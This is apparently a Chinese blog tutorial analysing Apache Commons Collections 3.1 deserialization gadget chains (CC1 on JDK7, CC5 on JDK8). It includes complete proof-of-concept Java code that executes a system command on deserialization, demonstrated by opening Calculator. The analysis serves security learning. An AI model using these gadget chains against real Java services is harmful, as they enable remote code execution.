Common-Collentions3.1反序列化之Java入坑(劝退)指南
2021-1-4 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:4 收藏

分析是按照前人的POC去逆推RCE的流程:

寻找RCE利用点(反射)->封装gadget->寻找readObjet()

寻找RCE

org/apache/commons/collections/functors/InvokerTransformer.java,它继承了Transformer和Serializable接口(可以被序列化),内部的transform函数进行了反射操作

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, `iParamTypes`);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

只需在相应位置补足反射所需的数据类型即可RCE:

  • input:Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null) //获得Runtime实例

  • iMethodName:“exec”

  • iParamTypes:String.class

本地按照数据类型填充,能够利用InvokerTransformer.java#transform成功反射并执行Runtime.getRuntime().exec("xxx"),验证代码如下

package vul;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class test {

    public static void main (String[] args) throws Exception{

        Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);

        InvokerTransformer evil = new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"open /System/Applications/Calculator.app/"});

        evil.transform(input);

    }

}

在需要补足的类型中,iMethodNameiParamTypesInvokerTransformer构造函数中被赋值,即在初始化iTransformers时给定参数即可,现在只需要我们解决input来源。往回追调用栈,继续分析上一层栈的代码ChainedTransformer.java#transform

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

transform这个for循环中,–i的object会作为第i次函数调用的实参,而iTransformers[0]ConstantTransformer实例,跟进ConstantTransformer(下图)
-w949

发现ConstantTransformer#transform把构造函数定义的iConstant变量返回。所以只需定义iTransformers[0]=new ConstantTransformer(Runtime.class)即可在第二次(i=1)循环中将object赋值为Runtime.class,也就是我们想要的input

ChainedTransformer也继承自Transformer, Serializable,那么就可以利用ChainedTransformer构造一个完整的反射链如下

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
}

这段代码也是“跳板思想”,借助Runtime.getRuntime().invoke(null)先获取Runtime实例后再去执行exec。我们在调用ChainedTransformer()的地方下断,分析一下它的数据走向
-w1216

第二个下断在ChainedTransformer#transform,可以看到第一次循环我们拿到的objectjava.lang.Runtime的Class
-w1080

第二、三、四次循环不再调用ConstantTransformer#transform,而是调用InvokerTransformer#transform,步入文章伊始提到的反射操作。值得注意的是,后三次的循环object值均来自此方法中return的method.invoke(input, iArgs)

-w1439

画这四次循环的流程图如下,第2、3步骚操作的核心就是为了获取Runtime实例
-w973

到这里RCE的利用点成功推演,现在还有两个任务

第一个任务:将transformerChain封装成更加合理的触发,因为正常人不会直接调用ChainedTransformer.transform,这就要求我们找到一个即调用transform又要对象可控的地方=>Map.setValue。比如在下文会提到利用AnnotationInvocationHandler中对Map数组元素进行遍历和赋值操作引发的Map.setValue操作

封装首先要利用TransformedMap的修饰器(引用P神在漫谈中的引述👇)
-w939

封装的EXP如下,调用outerMap.entrySet().iterator().next()outerMap绑定 成为onlyElement的parent(实现继承关系)

//已经构造好transformerChain

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

在调用onlyElement.setValue()会向上调用outerMap.checkSetValue,而经过装饰outerMap.valueTransformer的值是我们构造的transformerChain,如此便触发ConstantTransformer(#简称transformerChain).transform的调用

-w1387

这应该是种常见的Map遍历操作,之前在csdn也有类似用法的demoentrySet用法 以及遍历map的用法
-w959

第二个任务:找到一个readobject复写的类,即找一个反序列化合理的入口

JDK1.7-寻找readObject()复写利用链

分析

在JDK7有sun.reflect.annotation.AnnotationInvocationHandler包,反序列化核心代码如下

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

其中如下操作与上文构造EXP手法相同,对Map中的键值对进行遍历

Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext())

memberValues可以在构造函数中赋值。但在try、catch时不能进入异常处理且var7 != null才可进行setValue,里面有个坑点就是在创建Map时写入的键名一定要为”value”,否则在readObject()中,以var6为键名的“hpdoger”无法在var3中匹配到相应的键值,从而使var7=null无法执行setValue
-w1212

Demo

package vul;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.io.*;

public class CC1Des {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ct = clazz.getDeclaredConstructor(Class.class, Map.class);

        //取消构造函数修饰符限制
        ct.setAccessible(true);

        //获取AnnotationInvocationHandler类实例
//        Object instance = ct.newInstance(Target.class, outerMap);
        Object instance = ct.newInstance(Retention.class, outerMap);

        //模拟反序列化流程
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));

        oos.writeObject(instance);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));

        ois.readObject();

        //手动触发漏洞
//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//        onlyElement.setValue("foobar");
    }

}

JDK1.8-寻找readObject()复写利用链

JDK8修补了sun.reflect.annotation.AnnotationInvocationHandler,但仍有bypass,这里分析CC5的调用链如下

->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()

从下面代码可看出,LazyMap#get调用了transform,且factory可以是实现了Transformer接口的实例,正好满足transformerChain的数据类型

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

继续找哪里能调用LazyMap.get(),在org/apache/commons/collections/keyvalue/TiedMapEntry.java#getValue中有调用链

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

public Object getValue() {
    return map.get(key);
}

public String toString() {
    return getKey() + "=" + getValue();
}

这里只需让TiedMapEntry.map = transformerChain;即可触发RCE。最后寻找有没有readObject的复写操作能调用TiedMapEntry.toString(),最终实现在javax/management/BadAttributeValueExpException.java

-w1440

demo

package vul;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

//yso-CC5  CC version:3.1-3.2.1,jdk1.8
public class CCJDK8 {

    public static void main(String[] args) throws Exception{

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
    };

    //将transformers数组存入ChaniedTransformer这个继承类
    Transformer transformerChain = new ChainedTransformer(transformers);

    //创建LazyMap并绑定transformerChain
    Map innerMap = new HashMap();

    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);


    //TiedMapEntry.map = transformerChain
    TiedMapEntry evilMap = new TiedMapEntry(lazyMap,"hpdoger");


    //复写入口BadAttributeValueExpException,构造valObj = evilMap
    BadAttributeValueExpException evilObj = new BadAttributeValueExpException(null);

    Field valfield = evilObj.getClass().getDeclaredField("val");

    valfield.setAccessible(true);

    valfield.set(evilObj, evilMap);

    //模拟反序列化流程
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));

    oos.writeObject(evilObj);

    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));

    ois.readObject();

    }
}

-w881

总结

在我看来,这个反序列化最核心的点是在于寻找transformerChain这个反射链的构造,至于将它封装成Map后寻找readObject复写,缝缝补补总有疏漏,虽然JDK不断升级修复,但可能在其他外部依赖也有类似问题。

最后,AnnotationType.getInstance(this.type)这一注解的操作暂时没有研究很深,因此在构造Object instance = ct.newInstance(Target.class, outerMap);的时候我也有些疑惑,为什么第一个参数是java.lang.annotation.Target的Class,有空补一下相关的知识放到blog。不过话说回来,这里的Target.class替换成Retention.class也是可以的

参考链接

P神知识星球&各种文章,踩在巨人肩膀,感谢前辈们筑路


文章来源: https://hpdoger.cn/2021/01/04/title:%20Common-Collentions3.1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJava%E5%85%A5%E5%9D%91(%E5%8A%9D%E9%80%80)%E6%8C%87%E5%8D%97/
如有侵权请联系:admin#unsafe.sh